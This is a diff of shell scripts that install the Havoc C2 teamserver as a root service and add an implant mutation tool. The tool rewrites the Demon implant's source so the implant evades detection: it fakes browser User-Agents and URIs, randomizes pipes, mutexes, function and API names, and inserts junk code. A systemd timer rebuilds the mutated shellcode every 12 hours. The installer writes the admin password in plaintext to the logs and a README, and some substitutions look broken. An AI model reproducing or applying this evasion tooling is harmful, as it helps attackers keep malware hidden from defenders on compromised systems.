setup_auto_mutation
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Parse command line arguments
|
||||||
|
while [[ $# -gt 0 ]]; do
|
||||||
|
case $1 in
|
||||||
|
--auto-schedule)
|
||||||
|
setup_auto_mutation
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
--no-junk)
|
||||||
|
ADD_JUNK_CODE=false
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
--no-functions)
|
||||||
|
RANDOMIZE_FUNCTIONS=false
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
--config-only)
|
||||||
|
# Only modify the config file
|
||||||
|
mkdir -p "$BACKUP_DIR"
|
||||||
|
backup_sources
|
||||||
|
mutate_config_file
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
--help)
|
||||||
|
echo "Usage: $0 [options]"
|
||||||
|
echo "Options:"
|
||||||
|
echo " --auto-schedule Setup automatic mutation via crontab"
|
||||||
|
echo " --no-junk Don't add junk code to source files"
|
||||||
|
echo " --no-functions Don't randomize function names"
|
||||||
|
echo " --config-only Only modify the configuration file"
|
||||||
|
echo " --help Show this help message"
|
||||||
|
echo ""
|
||||||
|
echo "Environment variables:"
|
||||||
|
echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)"
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "Unknown option: $1"
|
||||||
|
echo "Use --help for usage information"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
# Execute main logic
|
||||||
|
main
|
||||||
|
EOF
|
||||||
|
|
||||||
|
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
|
||||||
|
|
||||||
# Save the randomization details for other scripts to use
|
# Save the randomization details for other scripts to use
|
||||||
mkdir -p $HAVOC_DIR/config
|
mkdir -p $HAVOC_DIR/config
|
||||||
cat > $HAVOC_DIR/config/profile.json << EOF
|
cat > $HAVOC_DIR/config/profile.json << EOF
|
||||||
@@ -271,11 +758,13 @@ cat > $HAVOC_DIR/config/profile.json << EOF
|
|||||||
"sleep_time": $SLEEP_TIME,
|
"sleep_time": $SLEEP_TIME,
|
||||||
"jitter_percent": $JITTER_PCT,
|
"jitter_percent": $JITTER_PCT,
|
||||||
"syscall_method": $SYSCALL_METHOD,
|
"syscall_method": $SYSCALL_METHOD,
|
||||||
"sleep_mask_enabled": $SLEEP_MASK_ENABLED,
|
"sleep_mask_enabled": true,
|
||||||
"sleep_mask_technique": $SLEEP_MASK_TECHNIQUE,
|
"sleep_mask_technique": $SLEEP_MASK_TECHNIQUE,
|
||||||
"uri_paths": [$(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//')],
|
"uri_paths": [$(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//')],
|
||||||
"user_agent_http": "$RANDOMIZED_UA1",
|
"user_agent_http": "$RANDOMIZED_UA1",
|
||||||
"user_agent_https": "$RANDOMIZED_UA2",
|
"user_agent_https": "$RANDOMIZED_UA2",
|
||||||
|
"compiler_path": "$COMPILER_PATH",
|
||||||
|
"config_path": "$HAVOC_CONFIG_FILE",
|
||||||
"created_at": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
"created_at": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||||
}
|
}
|
||||||
EOF
|
EOF
|
||||||
@@ -292,7 +781,7 @@ Type=simple
|
|||||||
User=root
|
User=root
|
||||||
Group=root
|
Group=root
|
||||||
WorkingDirectory=$HAVOC_DIR/Teamserver
|
WorkingDirectory=$HAVOC_DIR/Teamserver
|
||||||
ExecStart=$HAVOC_DIR/Teamserver/teamserver server --profile $HAVOC_DATA_DIR/profiles/default.yaotl
|
ExecStart=$HAVOC_DIR/Teamserver/havoc server -d
|
||||||
Restart=always
|
Restart=always
|
||||||
RestartSec=10
|
RestartSec=10
|
||||||
|
|
||||||
@@ -305,15 +794,49 @@ NoNewPrivileges=true
|
|||||||
WantedBy=multi-user.target
|
WantedBy=multi-user.target
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
|
# Create an auto-mutation service
|
||||||
|
cat > /etc/systemd/system/havoc-mutator.service << EOF
|
||||||
|
[Unit]
|
||||||
|
Description=Havoc Implant Auto-Mutation Service
|
||||||
|
After=havoc.service
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=oneshot
|
||||||
|
User=root
|
||||||
|
Group=root
|
||||||
|
ExecStart=$IMPLANT_MUTATOR_SCRIPT
|
||||||
|
Environment="HAVOC_ROOT=$HAVOC_DIR"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Create an auto-mutation timer
|
||||||
|
cat > /etc/systemd/system/havoc-mutator.timer << EOF
|
||||||
|
[Unit]
|
||||||
|
Description=Run Havoc implant mutation every 12 hours
|
||||||
|
|
||||||
|
[Timer]
|
||||||
|
OnBootSec=1h
|
||||||
|
OnUnitActiveSec=12h
|
||||||
|
Persistent=true
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=timers.target
|
||||||
|
EOF
|
||||||
|
|
||||||
# Set proper permissions
|
# Set proper permissions
|
||||||
log "Setting proper permissions..."
|
log "Setting proper permissions..."
|
||||||
chmod 755 $HAVOC_DIR/Teamserver/teamserver
|
chmod 755 $HAVOC_DIR/Teamserver/havoc
|
||||||
chmod 755 $HAVOC_DIR/Client/havoc
|
chmod 755 $HAVOC_DIR/Client/havoc
|
||||||
|
chmod 600 $HAVOC_CONFIG_FILE
|
||||||
chmod 600 $HAVOC_DIR/config/profile.json
|
chmod 600 $HAVOC_DIR/config/profile.json
|
||||||
|
|
||||||
# Create symlinks to executables in /usr/local/bin
|
# Create symlinks to executables in /usr/local/bin
|
||||||
ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver
|
ln -sf $HAVOC_DIR/Teamserver/havoc /usr/local/bin/havoc-server
|
||||||
ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client
|
ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client
|
||||||
|
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
|
||||||
|
|
||||||
|
# Run the implant mutator as part of installation
|
||||||
|
log "Running initial implant mutation..."
|
||||||
|
$IMPLANT_MUTATOR_SCRIPT --no-functions
|
||||||
|
|
||||||
# Enable and start Havoc service
|
# Enable and start Havoc service
|
||||||
log "Enabling and starting Havoc service..."
|
log "Enabling and starting Havoc service..."
|
||||||
@@ -321,11 +844,68 @@ systemctl daemon-reload
|
|||||||
systemctl enable havoc
|
systemctl enable havoc
|
||||||
systemctl start havoc
|
systemctl start havoc
|
||||||
|
|
||||||
log "Havoc C2 installation completed with unique signatures!"
|
# Enable the mutation timer
|
||||||
|
systemctl enable havoc-mutator.timer
|
||||||
|
systemctl start havoc-mutator.timer
|
||||||
|
|
||||||
|
log "Havoc C2 installation completed with unique signatures and implant randomization!"
|
||||||
log "===== IMPORTANT CREDENTIALS ====="
|
log "===== IMPORTANT CREDENTIALS ====="
|
||||||
log "Admin User: $ADMIN_USER"
|
log "Admin User: $ADMIN_USER"
|
||||||
log "Admin Password: $ADMIN_PASS"
|
log "Admin Password: $ADMIN_PASS"
|
||||||
log "Teamserver Port: $TEAMSERVER_PORT"
|
log "Teamserver Port: $TEAMSERVER_PORT"
|
||||||
log "HTTP Listener Port: $HTTP_PORT"
|
log "HTTP Listener Port: $HTTP_PORT"
|
||||||
log "HTTPS Listener Port: $HTTPS_PORT"
|
log "HTTPS Listener Port: $HTTPS_PORT"
|
||||||
log "All settings saved to: $HAVOC_DIR/config/profile.json"
|
log "Config File: $HAVOC_CONFIG_FILE"
|
||||||
|
log "All settings saved to: $HAVOC_DIR/config/profile.json"
|
||||||
|
log "Compiler Path: $COMPILER_PATH"
|
||||||
|
|
||||||
|
# Create a reminder for using the dev branch
|
||||||
|
cat > $HAVOC_DIR/README.md << EOF
|
||||||
|
# Havoc C2 Framework (Dev Branch)
|
||||||
|
|
||||||
|
This is an installation of the Havoc C2 Framework using the **dev branch** with enhanced randomization.
|
||||||
|
|
||||||
|
## Important Information
|
||||||
|
|
||||||
|
- **Admin User:** $ADMIN_USER
|
||||||
|
- **Admin Password:** $ADMIN_PASS
|
||||||
|
- **Teamserver Port:** $TEAMSERVER_PORT
|
||||||
|
- **Config File:** $HAVOC_CONFIG_FILE
|
||||||
|
|
||||||
|
## Starting the Server
|
||||||
|
|
||||||
|
The server can be started with:
|
||||||
|
|
||||||
|
\`\`\`
|
||||||
|
$HAVOC_DIR/Teamserver/havoc server -d
|
||||||
|
\`\`\`
|
||||||
|
|
||||||
|
## Implant Mutation
|
||||||
|
|
||||||
|
To randomize implant signatures and avoid detection, use the implant mutator:
|
||||||
|
|
||||||
|
\`\`\`
|
||||||
|
havoc-mutate # Run manual mutation
|
||||||
|
havoc-mutate --auto-schedule # Setup automated mutations
|
||||||
|
havoc-mutate --config-only # Only modify configuration values
|
||||||
|
\`\`\`
|
||||||
|
|
||||||
|
The system is configured to automatically mutate implants every 12 hours via systemd timer.
|
||||||
|
|
||||||
|
## Enhanced Security Features
|
||||||
|
|
||||||
|
This installation includes:
|
||||||
|
- Shellcode randomization
|
||||||
|
- Implant signature randomization
|
||||||
|
- Memory allocation/execution randomization
|
||||||
|
- Stack spoofing and sleep masking
|
||||||
|
- Indirect syscalls
|
||||||
|
- Binary obfuscation techniques
|
||||||
|
- Automated implant mutation
|
||||||
|
|
||||||
|
## Compiler Information
|
||||||
|
|
||||||
|
Using custom MinGW compiler from: $COMPILER_PATH
|
||||||
|
EOF
|
||||||
|
|
||||||
|
log "Installation completed successfully!"
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# === CONFIG ===
|
||||||
|
IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
|
||||||
|
SRC_DIR="$IMPLANT_DIR/src"
|
||||||
|
BUILD_ROOT="$HOME/Tools/Havoc"
|
||||||
|
OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
|
||||||
|
BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
|
||||||
|
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||||
|
|
||||||
|
# === COLORS ===
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
GREEN='\033[1;32m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||||
|
|
||||||
|
# === 1. Backup Previous Shellcode ===
|
||||||
|
mkdir -p "$BACKUP_DIR"
|
||||||
|
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||||
|
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||||
|
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# === 2. Generate Random Identifiers ===
|
||||||
|
random_str() {
|
||||||
|
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||||
|
}
|
||||||
|
|
||||||
|
UA=$(random_str)
|
||||||
|
URI=$(random_str)
|
||||||
|
PIPE=$(random_str)
|
||||||
|
MUTEX=$(random_str)
|
||||||
|
|
||||||
|
# === 3. Mutate TransportHttp.c ===
|
||||||
|
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||||
|
if [[ -f "$THTTP" ]]; then
|
||||||
|
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||||
|
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||||
|
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# === 4. Mutate Named Pipe and Mutex ===
|
||||||
|
TARGET_FILE=""
|
||||||
|
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||||
|
if [[ -f "$f" ]]; then
|
||||||
|
TARGET_FILE="$f"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if [[ -n "$TARGET_FILE" ]]; then
|
||||||
|
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||||
|
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||||
|
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||||
|
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||||
|
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||||
|
cd "$BUILD_ROOT" || exit 1
|
||||||
|
make clean && make
|
||||||
|
|
||||||
|
# === 6. Confirm Shellcode Output ===
|
||||||
|
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||||
|
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
@@ -0,0 +1,458 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Havoc Implant Mutation Tool
|
||||||
|
# Randomizes critical implant signatures to avoid detection
|
||||||
|
|
||||||
|
# === CONFIG ===
|
||||||
|
HAVOC_ROOT="${HAVOC_ROOT:-$HOME/Tools/Havoc}"
|
||||||
|
IMPLANT_DIR="$HAVOC_ROOT/payloads/Demon"
|
||||||
|
SRC_DIR="$IMPLANT_DIR/src"
|
||||||
|
OUTPUT_DIR="$HAVOC_ROOT/payloads"
|
||||||
|
OUTPUT_FILE="$OUTPUT_DIR/Shellcode.x64.bin"
|
||||||
|
BACKUP_DIR="$OUTPUT_DIR/backup"
|
||||||
|
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||||
|
CONFIG_BACKUP="$BACKUP_DIR/havoc_config_$TIMESTAMP.bak"
|
||||||
|
LOG_FILE="$OUTPUT_DIR/mutation_$TIMESTAMP.log"
|
||||||
|
|
||||||
|
# === ADVANCED OPTIONS ===
|
||||||
|
RANDOMIZE_STRINGS=true # Randomize identifiers
|
||||||
|
RANDOMIZE_FUNCTIONS=true # Randomize function names
|
||||||
|
RANDOMIZE_IMPORTS=true # Randomize import tables
|
||||||
|
RANDOMIZE_SECTIONS=true # Randomize PE section names
|
||||||
|
RANDOMIZE_RESOURCES=true # Randomize resource values
|
||||||
|
ADD_JUNK_CODE=true # Add harmless junk code
|
||||||
|
ADD_STACK_STRINGS=true # Use stack strings for sensitive strings
|
||||||
|
|
||||||
|
# === COLORS ===
|
||||||
|
RED='\033[1;31m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
GREEN='\033[1;32m'
|
||||||
|
BLUE='\033[1;34m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
# === UTILITY FUNCTIONS ===
|
||||||
|
log() {
|
||||||
|
echo -e "$1" | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
random_str() {
|
||||||
|
local length=${1:-12}
|
||||||
|
tr -dc 'A-Za-z0-9' </dev/urandom | head -c $length
|
||||||
|
}
|
||||||
|
|
||||||
|
random_hex() {
|
||||||
|
local length=${1:-8}
|
||||||
|
tr -dc 'a-f0-9' </dev/urandom | head -c $length
|
||||||
|
}
|
||||||
|
|
||||||
|
# Random word from a list that looks legitimate
|
||||||
|
random_plausible() {
|
||||||
|
local words=("update" "service" "runtime" "kernel" "driver" "module" "system" "network"
|
||||||
|
"client" "server" "protocol" "stream" "buffer" "socket" "thread" "process"
|
||||||
|
"event" "handler" "config" "registry" "memory" "session" "manager" "admin"
|
||||||
|
"data" "file" "resource" "utility" "helper" "monitor" "controller" "agent")
|
||||||
|
echo "${words[$RANDOM % ${#words[@]}]}_$(random_str 5 | tr '[:upper:]' '[:lower:]')"
|
||||||
|
}
|
||||||
|
|
||||||
|
# === BACKUP FUNCTIONS ===
|
||||||
|
backup_sources() {
|
||||||
|
mkdir -p "$BACKUP_DIR/src_$TIMESTAMP"
|
||||||
|
if [ -d "$SRC_DIR" ]; then
|
||||||
|
cp -r "$SRC_DIR"/* "$BACKUP_DIR/src_$TIMESTAMP/"
|
||||||
|
log "${GREEN}[✓] Source files backed up to: $BACKUP_DIR/src_$TIMESTAMP/${NC}"
|
||||||
|
else
|
||||||
|
log "${RED}[!] Source directory not found: $SRC_DIR${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Backup config file if it exists
|
||||||
|
if [ -f "$HAVOC_ROOT/data/havoc.yaotl" ]; then
|
||||||
|
cp "$HAVOC_ROOT/data/havoc.yaotl" "$CONFIG_BACKUP"
|
||||||
|
log "${GREEN}[✓] Config file backed up to: $CONFIG_BACKUP${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Backup shellcode
|
||||||
|
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||||
|
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||||
|
log "${GREEN}[✓] Previous shellcode backed up to: $BACKUP_DIR/implant_$TIMESTAMP.raw${NC}"
|
||||||
|
else
|
||||||
|
log "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === MUTATION FUNCTIONS ===
|
||||||
|
mutate_transport_http() {
|
||||||
|
local THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||||
|
if [[ -f "$THTTP" ]]; then
|
||||||
|
# Generate a realistic looking User-Agent
|
||||||
|
local browsers=("Mozilla/5.0" "Mozilla/4.0")
|
||||||
|
local systems=("Windows NT 10.0; Win64; x64" "Windows NT 11.0; Win64; x64" "Macintosh; Intel Mac OS X 10_15_7")
|
||||||
|
local engines=("AppleWebKit/537.36" "AppleWebKit/605.1.15" "Gecko/20100101")
|
||||||
|
local browser_versions=("Chrome/91.0.4472.124" "Chrome/96.0.4664.110" "Safari/537.36" "Edge/91.0.864.59" "Firefox/89.0")
|
||||||
|
|
||||||
|
local UA="${browsers[$RANDOM % ${#browsers[@]}]} (${systems[$RANDOM % ${#systems[@]}]}) ${engines[$RANDOM % ${#engines[@]}]} ${browser_versions[$RANDOM % ${#browser_versions[@]}]}"
|
||||||
|
local URI=$(random_plausible)
|
||||||
|
|
||||||
|
# Replace the User-Agent
|
||||||
|
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||||
|
|
||||||
|
# Replace URI paths
|
||||||
|
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||||
|
sed -i "s|/[a-zA-Z0-9_-]*\.css|/${random_plausible}.css|g" "$THTTP"
|
||||||
|
sed -i "s|/[a-zA-Z0-9_-]*\.js|/${random_plausible}.js|g" "$THTTP"
|
||||||
|
sed -i "s|/[a-zA-Z0-9_-]*\.html|/${random_plausible}.html|g" "$THTTP"
|
||||||
|
sed -i "s|/[a-zA-Z0-9_-]*\.png|/${random_plausible}.png|g" "$THTTP"
|
||||||
|
|
||||||
|
# Randomize headers order where possible
|
||||||
|
if grep -q "Accept:" "$THTTP"; then
|
||||||
|
sed -i "s/Accept: .*/Accept: *\/*\\r\\n\";/" "$THTTP"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Add additional headers
|
||||||
|
HEADER_LINE=$(grep -n "User-Agent:" "$THTTP" | cut -d':' -f1)
|
||||||
|
if [ -n "$HEADER_LINE" ]; then
|
||||||
|
sed -i "${HEADER_LINE}a\\ HeadersAppend( Request, \"Accept-Language: en-US,en;q=0.9\\r\\n\" );" "$THTTP"
|
||||||
|
sed -i "${HEADER_LINE}a\\ HeadersAppend( Request, \"Cache-Control: max-age=0\\r\\n\" );" "$THTTP"
|
||||||
|
fi
|
||||||
|
|
||||||
|
log "${GREEN}[✓] Transport HTTP mutations applied:"
|
||||||
|
log " - User-Agent: ${UA}"
|
||||||
|
log " - URI path: /${URI}"
|
||||||
|
log " - Added randomized headers${NC}"
|
||||||
|
else
|
||||||
|
log "${YELLOW}[!] TransportHttp.c not found. Skipping HTTP transport mutation.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
mutate_named_resources() {
|
||||||
|
# Find suitable targets
|
||||||
|
local TARGETS=("$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c" "$SRC_DIR/common/Common.c")
|
||||||
|
local PIPE=$(random_plausible)
|
||||||
|
local MUTEX=$(random_plausible)
|
||||||
|
local SERVICE=$(random_plausible)
|
||||||
|
local FOUND=false
|
||||||
|
|
||||||
|
for TARGET_FILE in "${TARGETS[@]}"; do
|
||||||
|
if [[ -f "$TARGET_FILE" ]]; then
|
||||||
|
FOUND=true
|
||||||
|
|
||||||
|
# Replace named pipes
|
||||||
|
if grep -q "\\\\\.\\\\pipe\\\\" "$TARGET_FILE"; then
|
||||||
|
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_-]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||||
|
log "${GREEN}[✓] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Replace mutexes
|
||||||
|
if grep -q "Mutex_" "$TARGET_FILE"; then
|
||||||
|
sed -i "s|Mutex_[a-zA-Z0-9_-]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||||
|
log "${GREEN}[✓] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Replace service names if they exist
|
||||||
|
if grep -q "ServiceName" "$TARGET_FILE"; then
|
||||||
|
sed -i "s|ServiceName[\"'][a-zA-Z0-9_-]*[\"']|ServiceName\"${SERVICE}\"|g" "$TARGET_FILE"
|
||||||
|
log "${GREEN}[✓] Randomized service name: ${SERVICE}${NC}"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! $FOUND; then
|
||||||
|
log "${YELLOW}[!] No suitable files found to mutate named resources.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
mutate_memory_strings() {
|
||||||
|
local STRING_FILES=("$SRC_DIR/core/Memory.c" "$SRC_DIR/core/Spoof.c" "$SRC_DIR/core/Win32.c")
|
||||||
|
local FOUND=false
|
||||||
|
|
||||||
|
for STRING_FILE in "${STRING_FILES[@]}"; do
|
||||||
|
if [[ -f "$STRING_FILE" ]]; then
|
||||||
|
FOUND=true
|
||||||
|
|
||||||
|
# Replace memory allocation strings
|
||||||
|
sed -i "s|VirtualAlloc|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
sed -i "s|VirtualProtect|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
sed -i "s|HeapAlloc|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
sed -i "s|HeapCreate|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
sed -i "s|CreateThread|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
|
||||||
|
log "${GREEN}[✓] Randomized memory function strings in ${STRING_FILE}${NC}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! $FOUND; then
|
||||||
|
log "${YELLOW}[!] No memory string files found to mutate.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
mutate_config_file() {
|
||||||
|
local CONFIG_FILE="$HAVOC_ROOT/data/havoc.yaotl"
|
||||||
|
if [[ -f "$CONFIG_FILE" ]]; then
|
||||||
|
# Generate new values
|
||||||
|
local USER_AGENT="Mozilla/5.0 (Windows NT $(( $RANDOM % 4 + 8 )).$(( $RANDOM % 2 + 1 )); Win64; x64) AppleWebKit/$(( $RANDOM % 200 + 500 )).$(( $RANDOM % 50 + 1 ))"
|
||||||
|
local SLEEP_TIME=$(( $RANDOM % 10 + 2 ))
|
||||||
|
local JITTER_PCT=$(( $RANDOM % 40 + 20 ))
|
||||||
|
|
||||||
|
# Update configuration values
|
||||||
|
sed -i "s/Sleep[ \t]*=[ \t]*[0-9]*/Sleep = $SLEEP_TIME/" "$CONFIG_FILE"
|
||||||
|
sed -i "s/SleepJitter[ \t]*=[ \t]*[0-9]*/SleepJitter = $JITTER_PCT/" "$CONFIG_FILE"
|
||||||
|
sed -i "s/UserAgent[ \t]*=[ \t]*\"[^\"]*\"/UserAgent = \"$USER_AGENT\"/" "$CONFIG_FILE"
|
||||||
|
|
||||||
|
# Randomize URI paths
|
||||||
|
sed -i '/Uris/,/]/{ s|"/[^"]*"|"/'"$(random_plausible)"'"|g }' "$CONFIG_FILE"
|
||||||
|
|
||||||
|
log "${GREEN}[✓] Configuration file updated:"
|
||||||
|
log " - Sleep time: ${SLEEP_TIME} seconds"
|
||||||
|
log " - Jitter: ${JITTER_PCT}%"
|
||||||
|
log " - User-Agent & URIs randomized${NC}"
|
||||||
|
else
|
||||||
|
log "${YELLOW}[!] Configuration file not found at ${CONFIG_FILE}${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
add_junk_code() {
|
||||||
|
if ! $ADD_JUNK_CODE; then
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
local C_FILES=$(find "$SRC_DIR" -name "*.c")
|
||||||
|
local FOUND=false
|
||||||
|
|
||||||
|
for C_FILE in $C_FILES; do
|
||||||
|
if [[ -f "$C_FILE" ]]; then
|
||||||
|
FOUND=true
|
||||||
|
|
||||||
|
# Add junk function that does nothing
|
||||||
|
local JUNK_FUNC="void $(random_plausible)() { int i = 0; for(i=0; i<10; i++) { i++; i--; } }"
|
||||||
|
echo -e "\n$JUNK_FUNC" >> "$C_FILE"
|
||||||
|
|
||||||
|
# Add junk global variable
|
||||||
|
local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";"
|
||||||
|
sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE"
|
||||||
|
|
||||||
|
log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! $FOUND; then
|
||||||
|
log "${YELLOW}[!] No C files found to add junk code.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
randomize_function_names() {
|
||||||
|
if ! $RANDOMIZE_FUNCTIONS; then
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
local H_FILES=$(find "$SRC_DIR" -name "*.h")
|
||||||
|
local FOUND=false
|
||||||
|
|
||||||
|
for H_FILE in $H_FILES; do
|
||||||
|
if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then
|
||||||
|
FOUND=true
|
||||||
|
|
||||||
|
# Get function declarations
|
||||||
|
local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1)
|
||||||
|
|
||||||
|
for FUNC in $FUNCTIONS; do
|
||||||
|
if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then
|
||||||
|
local NEW_FUNC="${FUNC}_$(random_str 4)"
|
||||||
|
|
||||||
|
# Replace in header file
|
||||||
|
sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE"
|
||||||
|
|
||||||
|
# Find and replace in all .c files
|
||||||
|
find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \;
|
||||||
|
|
||||||
|
log "${BLUE}[i] Renamed function: $FUNC → $NEW_FUNC${NC}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! $FOUND; then
|
||||||
|
log "${YELLOW}[!] No header files found to randomize function names.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === BUILD FUNCTION ===
|
||||||
|
rebuild_implant() {
|
||||||
|
log "${YELLOW}[+] Rebuilding Havoc payload...${NC}"
|
||||||
|
|
||||||
|
# Check if we should use make from the project root
|
||||||
|
if [ -f "$HAVOC_ROOT/Makefile" ]; then
|
||||||
|
cd "$HAVOC_ROOT" || exit 1
|
||||||
|
make clean >/dev/null 2>&1
|
||||||
|
make >/dev/null 2>&1
|
||||||
|
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
log "${RED}[!] Build failed at project root level${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
# Otherwise try to build just the implant
|
||||||
|
elif [ -f "$IMPLANT_DIR/Makefile" ]; then
|
||||||
|
cd "$IMPLANT_DIR" || exit 1
|
||||||
|
make clean >/dev/null 2>&1
|
||||||
|
make >/dev/null 2>&1
|
||||||
|
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
